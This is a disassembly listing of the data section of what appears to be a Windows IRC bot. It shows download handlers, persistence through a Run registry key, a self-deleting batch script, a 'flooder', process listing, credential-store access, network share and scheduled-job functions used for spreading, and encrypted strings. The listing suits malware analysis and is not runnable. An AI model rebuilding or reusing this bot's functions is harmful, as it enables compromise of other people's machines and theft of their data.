.text:00402E91o unicode 0, <:>,0 unk_418500 db 2Dh ; - ; DATA XREF: .text:00402E16o db 3, 30h, 34h db 2 db 25h, 75h, 3 db 2 aUnsupportedPro db '- Unsupported protocol specified.',0 align 4 a69 db '69',0 ; DATA XREF: .text:00402DDAo align 10h aTftp db 'tftp://',0 ; DATA XREF: .text:00402DB9o aAnonymous db 'anonymous',0 ; DATA XREF: .text:00402D8Co ; .text:00402D9Fo align 4 a21 db '21',0 ; DATA XREF: .text:00402D5Ao align 4 aFtp db 'ftp://',0 ; DATA XREF: .text:00402D39o align 10h a80 db '80',0 ; DATA XREF: .text:00402D00o ; sub_4043E9+27o ... align 4 aHttp db 'http://',0 ; DATA XREF: .text:00402CDFo dword_41855C dd 3430032Dh, 3752502h, 43202D02h, 6F6E6E61h, 65722074h ; DATA XREF: .text:00402B67o dd 73206461h, 6372756Fh, 69662065h, 320656Ch, 25023430h dd 2E020373h, 0 dword_41858C dd 3430032Dh, 3752502h, 43202D02h, 6F6E6E61h, 72772074h ; DATA XREF: .text:00402B42o dd 20657469h, 64206F74h, 69747365h, 6974616Eh, 66206E6Fh dd 20656C69h, 2343003h, 2037325h, 2Eh aFile db 'file://',0 ; DATA XREF: .text:00402AF2o dword_4185CC dd 3430032Dh, 3752502h, 44202D02h, 6C6E776Fh, 6964616Fh ; DATA XREF: .text:00402ADCo dd 320676Eh, 25023430h, 20020373h, 3206F74h, 25023430h dd 2E020373h, 0 dword_4185FC dd 6E776F44h, 64616F6Ch, 20676E69h, 2343003h, 2037325h ; DATA XREF: sub_403260+B2o dd 206F7420h, 2343003h, 2037325h, 0 a_exe db '.exe',0 ; DATA XREF: sub_403260+43o ; sub_412720+51o align 4 aQuitRestarting db 'QUIT :restarting',0 ; DATA XREF: .text:loc_403538o ; .text:loc_403545o ... align 4 aQuitExitting db 'QUIT :exitting',0 ; DATA XREF: .text:0040352Bo ; sub_40A9CF:loc_40BD52o align 4 dword_41864C dd 3430032Dh, 62656402h, 2036775h ; DATA XREF: .text:004034C7o aModuleSReporte db '- Module "%s" reported a crash in "%s": N=%u EAX=%08X EBX=%08X EC' db 'X=%08X EDX=%08X ESI=%08X EDI=%08X EBP=%08X ESP=%08X EIP=%08X EFLA' db 'GS=%08X. Code: %08X (%s). %s...',0 align 4 aContinuing db 'Continuing',0 ; DATA XREF: .text:loc_40342Ao align 4 aRestarting db 'Restarting',0 ; DATA XREF: .text:0040341Eo align 4 aException_flt db 'EXCEPTION_FLT',0 ; DATA XREF: .text:loc_40340Co align 4 aException_stac db 'EXCEPTION_STACK_OVERFLOW',0 ; DATA XREF: .text:loc_403403o align 10h aException_nonc db 'EXCEPTION_NONCONTINUABLE_EXCEPTION',0 ; DATA XREF: .text:loc_4033FAo align 4 aException_int_ db 'EXCEPTION_INT_DIVIDE_BY_ZERO',0 ; DATA XREF: .text:loc_4033F1o align 4 aException_ille db 'EXCEPTION_ILLEGAL_INSTRUCTION',0 ; DATA XREF: .text:loc_4033E8o align 4 aException_brea db 'EXCEPTION_BREAKPOINT',0 ; DATA XREF: .text:loc_4033DFo align 4 aException_acce db 'EXCEPTION_ACCESS_VIOLATION',0 ; DATA XREF: .text:loc_4033D6o align 4 aException_othe db 'EXCEPTION_OTHER',0 ; DATA XREF: .text:00403352o aUdp db 'udp',0 ; DATA XREF: .text:00403B36o aInternetgetcon db 'InternetGetConnectedStateExA',0 ; DATA XREF: sub_403BD3+20Bo align 4 aWininet_dll db 'wininet.dll',0 ; DATA XREF: sub_403BD3:loc_403DCAo aPstorecreatein db 'PStoreCreateInstance',0 ; DATA XREF: sub_403BD3+1E4o align 10h aPstorec_dll db 'pstorec.dll',0 ; DATA XREF: sub_403BD3:loc_403DA3o aFreeaddrinfo db 'freeaddrinfo',0 ; DATA XREF: sub_403BD3+184o align 4 aGetnameinfo db 'getnameinfo',0 ; DATA XREF: sub_403BD3+171o aGetaddrinfo db 'getaddrinfo',0 ; DATA XREF: sub_403BD3+15Eo aWs2_32_dll db 'ws2_32.dll',0 ; DATA XREF: sub_403BD3:loc_403D23o align 10h aWnetcancelco_0 db 'WNetCancelConnection2W',0 ; DATA XREF: sub_403BD3+13Do align 4 aWnetcancelconn db 'WNetCancelConnection2A',0 ; DATA XREF: sub_403BD3+12Ao align 10h aWnetaddconne_0 db 'WNetAddConnection2W',0 ; DATA XREF: sub_403BD3+117o aWnetaddconnect db 'WNetAddConnection2A',0 ; DATA XREF: sub_403BD3+104o aMpr_dll db 'mpr.dll',0 ; DATA XREF: sub_403BD3:loc_403CC3o aNetaddalternat db 'NetAddAlternateComputerName',0 ; DATA XREF: sub_403BD3+DDo aNetschedulejob db 'NetScheduleJobAdd',0 ; DATA XREF: sub_403BD3+CAo align 10h aNetapibufferfr db 'NetApiBufferFree',0 ; DATA XREF: sub_403BD3+B7o align 4 aNetremotetod db 'NetRemoteTOD',0 ; DATA XREF: sub_403BD3+A4o align 4 aNetshareenum db 'NetShareEnum',0 ; DATA XREF: sub_403BD3+91o align 4 aNetuserenum db 'NetUserEnum',0 ; DATA XREF: sub_403BD3+7Eo aNetusedel db 'NetUseDel',0 ; DATA XREF: sub_403BD3+6Bo align 4 aNetuseadd db 'NetUseAdd',0 ; DATA XREF: sub_403BD3+58o align 4 aNetusegetinfo db 'NetUseGetInfo',0 ; DATA XREF: sub_403BD3+45o align 4 aNetapi32_dll db 'netapi32.dll',0 ; DATA XREF: sub_403BD3:loc_403C00o align 4 aInitializecrit db 'InitializeCriticalSectionAndSpinCount',0 ; DATA XREF: sub_403BD3+1Ao align 10h aKernel32_dll db 'kernel32.dll',0 ; DATA XREF: sub_403BD3+6o align 10h aUseridUnix db ' : USERID : UNIX : ',0 ; DATA XREF: .text:loc_403F57o dword_4189C4 dd 3430032Dh, 3752502h, 52202D02h, 696E6E75h, 6920676Eh ; DATA XREF: .text:00403E61o dd 746E6564h, 65732064h, 72657672h, 206E6F20h, 74726F70h dd 34300320h, 3732502h, 2 dword_4189F8 dd 6E656449h, 73206474h, 65767265h, 6E6F2072h, 726F7020h ; DATA XREF: sub_403FE5+7Eo dd 30032074h, 73250234h, 203h dword_418A18 dd 333131h ; DATA XREF: sub_403FE5:loc_403FFDo aXsUlsbNP db '•‘Àž«˜¡Ð¾°¶',0 ; DATA XREF: sub_4043E9+6o align 10h a10_ db '10.',0 ; DATA XREF: sub_4041B7+56o a192_168_ db '192.168.',0 ; DATA XREF: sub_4041B7+3Bo align 10h a172_ db '172.',0 ; DATA XREF: sub_4041B7+20o align 4 a127_ db '127.',0 ; DATA XREF: sub_4041B7+5o align 10h aU_U_U_U db '%u.%u.%u.%u',0 ; DATA XREF: sub_40D871+1CCo ; .text:00411595o a1 db '::1',0 ; DATA XREF: sub_40435B+42o aU_0 db '%u',0 ; DATA XREF: .text:00405A3Do ; .text:00405C83o ... align 4 aU_U_U_UU_0 db '%u.%u.%u.%u:%u',0 ; DATA XREF: .text:00405903o ; .text:004059F0o ... align 4 aU_U_U_UU db '%u.%u.%u.%u:%u',0Dh,0Ah,0 ; DATA XREF: .text:00405888o ; .text:00405994o ... align 4 aU db '%u',0Dh,0Ah,0 ; DATA XREF: .text:0040580Eo ; .text:00405936o ... align 10h aLgFlooder db 'LG flooder',0 ; DATA XREF: sub_405E45+109o align 4 aGetmoduleinfor db 'GetModuleInformation',0 ; DATA XREF: sub_405FA3+5Eo align 4 aGetmodulefilen db 'GetModuleFileNameExA',0 ; DATA XREF: sub_405FA3+4Bo align 4 aEnumprocessmod db 'EnumProcessModules',0 ; DATA XREF: sub_405FA3+38o align 10h aEnumprocesses db 'EnumProcesses',0 ; DATA XREF: sub_405FA3:loc_405FC8o align 10h aPsapi_dll db 'psapi.dll',0 ; DATA XREF: sub_405FA3+Fo align 4 aSystem db 'system',0 ; DATA XREF: sub_406041+136o ; .data:0041BBD0o ... align 4 dword_418B04 dd 2343003h, 3693425h, 25202E02h, 20583830h, 58383025h ; DATA XREF: .text:0040647Ao dd 732520h dword_418B1C dd 3430032Dh, 3752502h, 4C202D02h, 69747369h, 320676Eh ; DATA XREF: .text:004063CDo dd 25023430h, 2032569h, 6F727020h, 73736563h, 3A7365h aListProcesses db 'List processes',0 ; DATA XREF: sub_4064BF+31o align 4 a02x db '%02X',0 ; DATA XREF: sub_406722+266o ; sub_4147E5+11o ... align 4 a08x db '%08X',0 ; DATA XREF: sub_406722+201o ; sub_40A9CF+1C12o align 4 aS db '%s',0 ; DATA XREF: sub_406722+1E3o ; sub_406722+296o ... align 4 aHkus db 'HKUS',0 ; DATA XREF: sub_406722+8Do align 10h aHklm db 'HKLM',0 ; DATA XREF: sub_406722+6Bo align 4 aHkcu db 'HKCU',0 ; DATA XREF: sub_406722+49o align 10h aHkcr db 'HKCR',0 ; DATA XREF: sub_406722+27o align 4 off_418B88 dd offset aOxULN ; DATA XREF: sub_406E8E+4Br ; sub_406E8E+8Dr ... ; "Ž•ÄÑîÔ«Æ" off_418B8C dd offset dword_418DA8 ; DATA XREF: sub_406E8E+106r ; sub_406E8E+12Ar ... dd offset aLxULN ; "«•ÖÃîÔ«Æ" dd offset dword_418DA8 dd offset aBxQ ; "•ÅóŸ¶Û" dd offset dword_418D64 dd offset dword_418D54 dd offset dword_418D34 dd offset dword_418D20 dd offset dword_418D34 dd offset dword_418D0C dd offset dword_418CF4 dd offset dword_418CE4 dd offset dword_418CD0 dd offset dword_418CBC dd offset dword_418C9C dd offset dword_418C88 dd offset dword_418C6C dd offset aScIRns ; "‘–ØßÔ‰¸è»" dd offset dword_418C6C dd offset aGkQ ; "ƒŠÐóŸ¶Û" dd offset dword_418C24 dd offset dword_418C10 dd offset dword_418BF0 align 10h dword_418BF0 dd 0C2D48FAFh, 0D8A189F2h, 0BD97B0BCh, 0DF85B08Fh, 0F5979287h ; DATA XREF: .data:00418BE4o dd 0D1A28AE5h, 0ACF5BAh, 0 dword_418C10 dd 0C0CF838Bh, 0DBBC95F1h, 0B6A6F5E6h, 2 dup(0) ; DATA XREF: .data:00418BE0o dword_418C24 dd 0DCC796A3h, 0CAAF99F4h, 0F3B0FFA1h, 0D48EB4B7h, 0D1F0C690h ; DATA XREF: .data:00418BDCo dd 0DFB99FE9h, 0B68DB0B1h, 0D29EA389h, 87h, 0 aGkQ db 'ƒŠÐóŸ¶Û',0 ; DATA XREF: .data:00418BD8o align 4 dd 0 aScIRns db '‘–ØßÔ‰¸è»',0 ; DATA XREF: .data:00418BD0o dd 0 dword_418C6C dd 0DFD896B1h, 9EBC9FF1h, 80BCE59Bh, 0D483A682h, 0C0F6C68Fh ; DATA XREF: .data:00418BCCo ; .data:00418BD4o dd 0EDh, 0 dword_418C88 dd 0DFD89691h, 0DDB889F1h, 0B6A6F5E6h, 2 dup(0) ; DATA XREF: .data:00418BC8o dword_418C9C dd 0D4D98FB5h, 9EBD8DF2h, 0A4AAF586h, 919CA794h, 0D5C58FA4h ; DATA XREF: .data:00418BC4o dd 0D2A29BEAh, 2 dup(0) dword_418CBC dd 0D5C58F84h, 0D2A29BEAh, 0B6A6F5E6h, 2 dup(0) ; DATA XREF: .data:00418BC0o dword_418CD0 dd 0D1D98FB5h, 0FFEE8AF0h, 0A7B0F5AFh, 2 dup(0) ; DATA XREF: .data:00418BBCo dword_418CE4 dd 0D1D98F95h, 0DBE08AF0h, 0F5B0h, 0 ; DATA XREF: .data:00418BB8o dword_418CF4 dd 0D4D98FB5h, 9EBD8DF2h, 0BFAEE88Dh, 0C392A794h, 2 dup(0) ; DATA XREF: .data:00418BB4o dword_418D0C dd 0DCC79E87h, 0CCAB88F2h, 0B6A6F5E6h, 2 dup(0) ; DATA XREF: .data:00418BB0o dword_418D20 dd 0F9D98F95h, 0D0A19DF2h, 0B6A6F5E6h, 2 dup(0) ; DATA XREF: .data:00418BA8o dword_418D34 dd 0D4D98FB5h, 9EBD8DF2h, 0BCB9FF84h, 0C1B6F595h, 0D3DE8A92h ; DATA XREF: .data:00418BA4o ; .data:00418BACo dd 0D1A78EFCh, 0A6h, 0 dword_418D54 dd 0DFD0898Eh, 0C6ABD4F3h, 0ADh, 0 ; DATA XREF: .data:00418BA0o dword_418D64 dd 0D5DE8AA1h, 0EDEE8EF3h, 0B6A8E2ADh, 0C4A5F589h, 0DDDE928Ch ; DATA XREF: .data:00418B9Co dd 0CC9EDAF8h, 0A0BBF3A7h, 88h, 0 aBxQ db '•ÅóŸ¶Û',0 ; DATA XREF: .data:00418B98o align 8 aLxULN db '«•ÖÃîÔ«Æ',0 ; DATA XREF: .data:00418B90o align 8 dword_418DA8 dd 0D1D489AEh, 0DB9DDAF1h, 0BAACE5ABh, 0F0D7AC8Fh, 0DFDF9297h ; DATA XREF: .data:off_418B8Co ; .data:00418B94o dd 0C7BA93EFh, 0A1BBC3E8h, 0D494BC8Dh, 2 dup(0) aOxULN db 'Ž•ÄÑîÔ«Æ',0 ; DATA XREF: .data:off_418B88o align 10h asc_418DE0 db ':)',0 ; DATA XREF: sub_406A23+9Co align 4 asc_418DE4: ; DATA XREF: sub_406A23+1Bo ; sub_406AE7+1Bo ... unicode 0, <\>,0 aExplorer_exe db '\explorer.exe',0 ; DATA XREF: sub_406B81+1Bo align 4 aSoftwareMicros db 'Software\Microsoft\Windows\CurrentVersion\Run',0 ; DATA XREF: sub_406C51+1Co align 4 a@echoOffDelete db '@echo off',0Dh,0Ah ; DATA XREF: sub_406D90+A8o db ':deleteagain',0Dh,0Ah db 'del /A:H /F %s',0Dh,0Ah db 'del /F %s',0Dh,0Ah db 'if exist %s goto deleteagain',0Dh,0Ah db 'del %s',0Dh,0Ah,0 align 4 a_bat db '.bat',0 ; DATA XREF: sub_406D90+39o align 4 aWindowsDllLoad db 'Windows DLL Loader',0 ; DATA XREF: sub_406E8E+20Do ; sub_407148+19Do align 10h aQuitSUninstall db 'QUIT :%s uninstalled.',0 ; DATA XREF: sub_407148+177o ; sub_407148+1C9o align 4 dword_418EB8 dd 6E6E6F43h, 69746365h, 66206E6Fh, 206D6F72h, 2343003h ; DATA XREF: .text:00407442o dd 2037325h, 206F7420h, 6B636F73h, 34300373h, 3752502h dd 65732002h, 72657672h, 7325h aRejected db ' rejected',0 ; DATA XREF: .text:loc_407423o align 4 dword_418EF8 dd 3430032Dh, 3752502h, 52202D02h, 696E6E75h, 7320676Eh ; DATA XREF: .text:004076B7o dd 736B636Fh, 72657320h, 20726576h, 70206E6Fh, 2074726Fh dd 2343003h, 2037325h, 0 dword_418F2C dd 6B636F53h, 65732073h, 72657672h, 206E6F20h, 74726F70h ; DATA XREF: sub_4077DD+9Co dd 34300320h, 3732502h, 2 dword_418F4C dd 20h ; DATA XREF: sub_407928+4Co ; sub_407928+96o ... dword_418F50 dd 30h ; DATA XREF: sub_407E0C+CBo ; sub_40CA29+13Do ... aS_S_S_S db '%s.%s.%s.%s',0 ; DATA XREF: sub_407F3D+118o ; sub_40806A+BDo dword_418F60 dd 9ED9958Fh, 0A395FEh, 0 ; DATA XREF: sub_408887+6o dword_418F6C dd 9EC09195h, 0CCBC9FE9h, 0BCBDBEA9h, 0C395FB96h, 2 dup(0) ; DATA XREF: sub_408887+14o dword_418F84 dd 9ED9958Fh, 9FF9h, 0 ; DATA XREF: sub_408887+22o aJzFl db '†‡Âݳ”«Ê',0 ; DATA XREF: sub_408887+30o align 10h dword_418FA0 dd 0D7D88985h, 0DFE09FF1h, 0ADh, 0 ; DATA XREF: sub_408887+3Eo dword_418FB0 dd 0D5D98F8Ch, 90A089F0h, 0FDB3FFABh, 0A09Ah, 0 ; DATA XREF: sub_408887+4Co off_418FC4 dd offset dword_4190E8 ; DATA XREF: sub_4088FC+19r ; sub_4088FC+60r off_418FC8 dd offset dword_4190B4 ; DATA XREF: sub_4088FC+8Ar dd offset dword_419098 dd offset dword_419054 dd offset dword_41903C dd offset dword_418FE4 dd 2 dup(0) dword_418FE4 dd 0DEC08986h, 0DAAF95F1h, 0BEBFF7E6h, 0C8D9A69Eh, 0DFD88E83h ; DATA XREF: .data:00418FD8o dd 0D3A199B3h, 0BEBFF7E7h, 0D5D8A69Eh, 0DCD9918Dh, 91AA9BF2h dd 0BDB9F9BBh, 0C1D8B19Eh, 0D1D4968Dh, 0DFB7D5EDh, 8CB1FFA0h dd 0D49DB099h, 0D5DB8395h, 0CA91C8F9h, 0E2F3A1A5h, 0D48FB0D5h dd 2 dup(0) dword_41903C dd 0D7999597h, 0CDAB97FCh, 0BAA7BEF9h, 0D2D9B296h, 8B8Dh ; DATA XREF: .data:00418FD4o dd 0 dword_419054 dd 0DEC08986h, 0DAAF95F1h, 0E2F1A3E7h, 82D8B3D4h, 818380D3h ; DATA XREF: .data:00418FD0o dd 93F9C8A9h, 0B6EAA0F0h, 0D7CFE1D6h, 0D38FCBDBh, 8BE3C2ACh dd 0EABAA1A9h, 89C2B7C8h, 9FD2D5D7h, 0CDAF89F0h, 0FDBDFEB1h dd 92AD9Eh, 0 dword_419098 dd 0DEC08986h, 0DAAF95F1h, 0B0B7FDE6h, 0DE84BA89h, 0D3999284h ; DATA XREF: .data:00418FCCo dd 97F2h, 0 dword_4190B4 dd 0D1C38786h, 91A09FB2h, 0FCB9F9AAh, 0C385A098h, 9FC38887h ; DATA XREF: .data:off_418FC8o dd 0D9A195DAh, 0BC8AF5A4h, 0D095B994h, 0C3D9AF90h, 0D2A29BE9h dd 0B6F0E2ADh, 0B083h, 0 dword_4190E8 dd 0DCD88996h, 90BC9BFFh, 0B4B1FFAFh, 0D2D9B097h, 8B8Dh ; DATA XREF: .data:off_418FC4o dd 0 dword_419100 dd 415355h ; DATA XREF: sub_408342+2Co dword_419104 dd 74737953h, 69206D65h, 726F666Eh, 6974616Dh, 2D206E6Fh ; DATA XREF: .text:0040877Bo dd 3A534F20h, 6E695720h, 73776F64h, 34300320h, 3732502h dd 25282002h, 76202C73h, 2343003h, 252E6425h, 2C020364h dd 30036220h, 64250234h, 2E290203h, 55504320h, 7325203Ah dd 34300320h, 3642502h, 7A484D02h, 6152202Eh, 3203A6Dh dd 25023430h, 4D020364h, 30032F42h, 64250234h, 424D0203h dd 65726620h, 49202E65h, 3A367650h, 34300320h, 3732502h dd 55202E02h, 6D697470h, 3203A65h, 25023430h, 64020364h dd 73257961h, 34300320h, 3642502h, 756F6802h, 20732572h dd 2343003h, 2036425h, 756E696Dh, 73256574h, 6F43202Eh dd 7475706Dh, 616E7265h, 203A656Dh, 2343003h, 2037325h dd 7355202Eh, 203A7265h, 2343003h, 2037325h, 0A0D2Eh dword_4191F4 dd 73h ; DATA XREF: .text:loc_4086C8o ; .text:loc_4086E7o ... aProcessornames db 'ProcessorNameString',0 ; DATA XREF: .text:0040867Fo aHardwareDescri db 'HARDWARE\DESCRIPTION\System\CentralProcessor\0',0 ; DATA XREF: .text:00408643o align 4 aNo db 'No',0 ; DATA XREF: .text:loc_4085EBo ; .text:loc_408CB4o ... align 10h aYes db 'Yes',0 ; DATA XREF: .text:004085DFo ; .text:00408CA8o ... a2003 db '2003',0 ; DATA XREF: .text:004085ACo ; .data:0041BD9Co align 4 aXp db 'XP',0 ; DATA XREF: .text:0040858Eo align 10h a2000 db '2000',0 ; DATA XREF: .text:00408570o ; .data:0041BD90o align 4 aMe db 'ME',0 ; DATA XREF: .text:00408552o align 4 a98 db '98',0 ; DATA XREF: .text:00408534o align 10h aNt db 'NT',0 ; DATA XREF: .text:00408513o align 4 a95 db '95',0 ; DATA XREF: .text:00408500o align 4 aNoSp db 'no SP',0 ; DATA XREF: .text:004084DBo align 10h a?: ; DATA XREF: .text:004084D1o unicode 0, <?>,0 aSysinfoThread db 'Sysinfo thread',0 ; DATA XREF: sub_4087C4+2Bo align 4 dword_419284 dd 7774654Eh, 206B726Fh, 6F666E69h, 74616D72h, 206E6F69h ; DATA XREF: .text:00408E04o dd 6F48202Dh, 203A7473h, 2343003h, 2037325h, 614E202Eh dd 203A656Dh, 2343003h, 2037325h, 7954202Eh, 203A6570h dd 2343003h, 2037325h, 5049202Eh, 203A3676h, 2343003h dd 2037325h, 6946202Eh, 61776572h, 64656C6Ch, 3003203Ah dd 73250234h, 202E0203h, 6574614Ch, 3A79636Eh, 34300320h dd 3732502h, 25202C02h, 53202E75h, 64656570h, 3003203Ah dd 30250234h, 366322Eh, 424B2B02h, 6365732Fh, 5249202Eh dd 70552043h, 656D6974h, 3003203Ah, 64250234h, 61640203h dd 20732579h, 2343003h, 2036425h, 72756F68h, 3207325h dd 25023430h, 6D020364h, 74756E69h, 2E732565h, 0 aGood db 'Good',0 ; DATA XREF: .text:00408D29o align 4 aAvarage db 'Avarage',0 ; DATA XREF: .text:00408D13o aBad db 'Bad',0 ; DATA XREF: .text:00408CFDo aLan db 'LAN',0 ; DATA XREF: .text:loc_408C8Fo aModem db 'Modem',0 ; DATA XREF: .text:00408C7Do align 10h aUnknown db 'Unknown',0 ; DATA XREF: .text:00408C25o ; .text:00408C38o aNetinfoThread db 'Netinfo thread',0 ; DATA XREF: sub_408E4A+2Bo align 4 dword_419398 dd 5C3A41h ; DATA XREF: sub_408E8E+6r ; .text:00408F7Cr ... dword_41939C dd 6F547325h, 206C6174h, 76697264h, 203A7365h, 2343003h ; DATA XREF: .text:0040919Eo dd 2037525h, 6F54202Ch, 206C6174h, 63617073h, 3203A65h dd 25023430h, 4D020375h, 72662042h, 2E6565h dword_4193D4 dd 30037325h, 73250234h, 73250203h, 0 ; DATA XREF: .text:0040911Bo dword_4193E4 dd 30037325h, 73250234h, 73250203h, 34300320h, 3752502h ; DATA XREF: .text:004090F3o dd 20424D02h, 65657266h, 0 dword_419404 dd 202Eh ; DATA XREF: .text:004090AAo ; .text:00409178o aUnknown_0 db 'unknown',0 ; DATA XREF: .text:loc_40902Do ; sub_4129CA+34o aRamdisk db 'ramdisk',0 ; DATA XREF: .text:00409024o aCdRom db 'cd-rom',0 ; DATA XREF: .text:00409012o align 10h aRemote db 'remote',0 ; DATA XREF: .text:00409000o align 4 aFixed db 'fixed',0 ; DATA XREF: .text:00408FEEo align 10h aRemovable db 'removable',0 ; DATA XREF: .text:00408FDCo align 4 aDriveInformati db 'Drive information - ',0 ; DATA XREF: .text:00408F5Co align 4 aDriveinfoThrea db 'Driveinfo thread',0 ; DATA XREF: sub_4091E2+2Bo align 4 aThread db 'thread',0 align 10h aBtg db 'btg',0 dword_419474 dd 3430032Dh, 62656402h, 2036775h ; DATA XREF: .text:0040941Do aBtgTriedExecut db '- btg tried executing an unreadable address. (%08X)',0 aS_0 db '*%s*',0 ; DATA XREF: sub_4097A7+81o ; sub_4098F3+C4o align 4 dword_4194BC dd 2343003h, 2036925h, 7325202Eh, 0 ; DATA XREF: .text:00409BAFo dword_4194CC dd 3430032Dh, 2037802h ; DATA XREF: .text:loc_409B25o aNoThreadsRunni db '- No threads running.',0 align 4 dword_4194EC dd 3430032Dh, 2037802h, 694C202Dh, 6E697473h, 30032067h ; DATA XREF: .text:00409B0Fo dd 69250234h, 32F0203h, 25023430h, 20020369h, 65726874h dd 3A736461h, 0 aCouldNotGetAVa db 'Could not get a valid ICMP handle',0Ah,0 ; DATA XREF: sub_409CB1+15o align 10h dword_419540 dd 2343003h, 2036425h, 2020202Eh, 3 dup(2020202Ah), 6F727245h ; DATA XREF: .text:0040A173o dd 30033A72h, 64250234h, 203h dword_419568 dd 2343003h, 2036425h, 6425202Eh, 2520736Dh, 20736D64h ; DATA XREF: .text:0040A14Fo dd 736D6425h, 34300320h, 2E642502h, 252E6425h, 64252E64h dd 203h dword_419594 dd 2343003h, 2036425h, 6425202Eh, 2520736Dh, 20736D64h ; DATA XREF: .text:0040A0FFo dd 736D6425h, 34300320h, 3732502h, 25282002h, 64252E64h dd 2E64252Eh, 296425h aCouldNotResolv db 'Could not resolve name',0 ; DATA XREF: .text:loc_409F06o align 4 aIcmpclosehandl db 'IcmpCloseHandle',0 ; DATA XREF: .text:00409E50o aIcmpsendecho db 'IcmpSendEcho',0 ; DATA XREF: .text:00409E3Ao align 4 aIcmpcreatefile db 'IcmpCreateFile',0 ; DATA XREF: .text:loc_409E24o align 4 aIcmp_dll db 'ICMP.DLL',0 ; DATA XREF: .text:00409E04o align 4 unk_419618 db 55h ; U ; DATA XREF: sub_40A1A7+Co db 73h, 61h, 67h db 65h ; e db 3Ah, 20h, 3 db 30h ; 0 db 34h, 2, 74h db 72h ; r db 61h, 63h, 65h db 3 db 2, 20h, 3Ch db 3 db 30h, 34h, 2 db 68h ; h db 6Fh, 73h, 74h db 3 db 2, 3Eh, 20h aHopcountTimeou db '[<hopcount> <timeout> <pingcount>]',0 align 4 dword_41965C dd 202h ; DATA XREF: sub_40A2D2+159o aS_1 db '%s',0Dh,0Ah,0 ; DATA XREF: sub_40A2D2+6Eo align 4 a43 db '43',0 ; DATA XREF: sub_40A2D2+41o align 4 dword_41966C dd 3430032Dh, 3752502h, 51202D02h, 79726575h, 20676E69h ; DATA XREF: sub_40A2D2+24o dd 2343003h, 2037325h, 726F6620h, 34300320h, 3732502h dd 3A02h dword_419698 dd 6F727245h, 75712072h, 69797265h, 320676Eh, 25023430h ; DATA XREF: .text:0040A4E8o dd 2E020373h, 0 dword_4196B4 dd 72657551h, 676E6979h, 34300320h, 3732502h, 6F662002h ; DATA XREF: sub_40A50E+97o dd 30032072h, 73250234h, 203h dword_4196D4 dd 0D9D88E95h, 0CCAFD4EEh, 0BDF0FEA1h, 0A19Eh, 0 ; DATA XREF: sub_40A50E:loc_40A562o aAbcdef db 'abcdef',0 ; DATA XREF: sub_40A8AD+1Bo align 10h aUsername db 'username',0 ; DATA XREF: sub_40A9CF:loc_40C8EAo align 4 aId db 'id',0 ; DATA XREF: sub_40A9CF+1EF2o align 10h dword_419700 dd 259B8h ; DATA XREF: sub_40A9CF+1ECDr align 8 dword_419708 dd 69747055h, 2D20656Dh, 73795320h, 3A6D6574h, 34300320h ; DATA XREF: sub_40A9CF+1EB1o dd 3642502h, 79616402h, 3207325h, 25023430h, 68020364h dd 2572756Fh, 30032073h, 64250234h, 696D0203h, 6574756Eh dd 202E7325h, 3A435249h, 34300320h, 3642502h, 79616402h dd 3207325h, 25023430h, 68020364h, 2572756Fh, 30032073h dd 64250234h, 696D0203h, 6574756Eh, 7325h dword_41977C dd 577ED30h ; DATA XREF: sub_40A9CF+1C87r dd 2 dup(0) dword_419788 dd 5658h ; DATA XREF: sub_40A9CF+1C72r align 10h dword_419790 dd 4827598h ; DATA XREF: sub_40A9CF+1C4Br dd 2 dup(0) a9252 db '9252',0 ; DATA XREF: sub_40A9CF+1BFAo align 4 dword_4197A4 dd 2DEB94F9h ; DATA XREF: sub_40A9CF+1BE9r dd 3 dup(0) dword_4197B4 dd 2E6BE5C8h ; DATA XREF: sub_40A9CF+1BC2r align 10h dword_4197C0 dd 2E5B8h ; DATA XREF: sub_40A9CF+1BADr align 8 dword_4197C8 dd 2495E5C8h ; DATA XREF: sub_40A9CF+1B86r dd 2 dup(0) dword_4197D4 dd 24858h ; DATA XREF: sub_40A9CF+1B71r dd 0 dword_4197DC dd 21DFB0F8h ; DATA XREF: sub_40A9CF+1B36r dd 2 dup(0) dword_4197E8 dd 6B6E696Ch, 30037620h, 64250234h, 32E0203h, 25023430h ; DATA XREF: sub_40A9CF+1B17o dd 3643330h, 20732502h, 6E69575Bh, 5D3233h dword_41980C dd 26809888h ; DATA XREF: sub_40A9CF+1AFCr dd 2 dup(0) dword_419818 dd 266E8h ; DATA XREF: sub_40A9CF+1AE7r align 10h dword_419820 dd 65657053h, 3203A64h, 25023430h, 4B020375h, 65732F42h ; DATA XREF: sub_40A9CF+1AC8o dd 63h dword_419838 dd 91DF38h ; DATA XREF: sub_40A9CF+19B1r dd 2 dup(0) dword_419844 dd 2343003h, 2037325h ; DATA XREF: sub_40A9CF+1992o aHasNoIpv4End_ db ' has no ipv4 end.',0 align 10h dword_419860 dd 20656854h, 34767069h, 646E6520h, 20666F20h, 2343003h ; DATA XREF: sub_40A9CF+1976o dd 2037325h, 20736920h, 2343003h, 252E6925h, 69252E69h dd 369252Eh, 2 a2002 db '2002',0 ; DATA XREF: sub_40A9CF+1851o ; .data:0041BD98o align 4 dword_419898 dd 42A40FB6h ; DATA XREF: sub_40A9CF+180Br dd 3 dup(0) dword_4198A8 dd 2343003h, 2037325h, 44202D20h, 203A534Eh, 2343003h ; DATA XREF: sub_40A9CF+17C1o dd 2037325h, 0 dword_4198C4 dd 151858h ; DATA XREF: sub_40A9CF+1710r align 10h dword_4198D0 dd 6F727245h, 65722072h, 766C6F73h, 20676E69h, 2343003h ; DATA XREF: sub_40A9CF+16F1o ; sub_40A9CF+17ECo dd 2037325h, 2Eh dword_4198EC dd 2343003h, 2037325h, 55202D20h, 6F6E6B6Eh, 74206E77h ; DATA XREF: sub_40A9CF+16AAo dd 20657079h, 2343003h, 2036425h, 64646120h, 73736572h dd 3003203Ah, 73250234h, 203h dword_419920 dd 2343003h, 2037325h, 49202D20h, 20367650h, 72646461h ; DATA XREF: sub_40A9CF+1659o dd 3A737365h, 34300320h, 3732502h, 2 dword_419944 dd 2343003h, 2037325h, 49202D20h, 20347650h, 72646461h ; DATA XREF: sub_40A9CF+1602o dd 3A737365h, 34300320h, 3732502h, 2 dword_419968 dd 3Ch ; DATA XREF: sub_40A9CF:loc_40BFBAo ; sub_40A9CF:loc_40C011o ... dword_41996C dd 24858h ; DATA XREF: sub_40A9CF+1534r dd 0 aQuitChangingSe db 'QUIT :changing server',0 ; DATA XREF: sub_40A9CF:loc_40BED3o align 4 dword_41998C dd 0B7DFB102h ; DATA XREF: sub_40A9CF+14F5r dd 3 dup(0) dword_41999C dd 4B836E8h ; DATA XREF: sub_40A9CF+14E0r dd 2 dup(0) dword_4199A8 dd 3E08h ; DATA XREF: 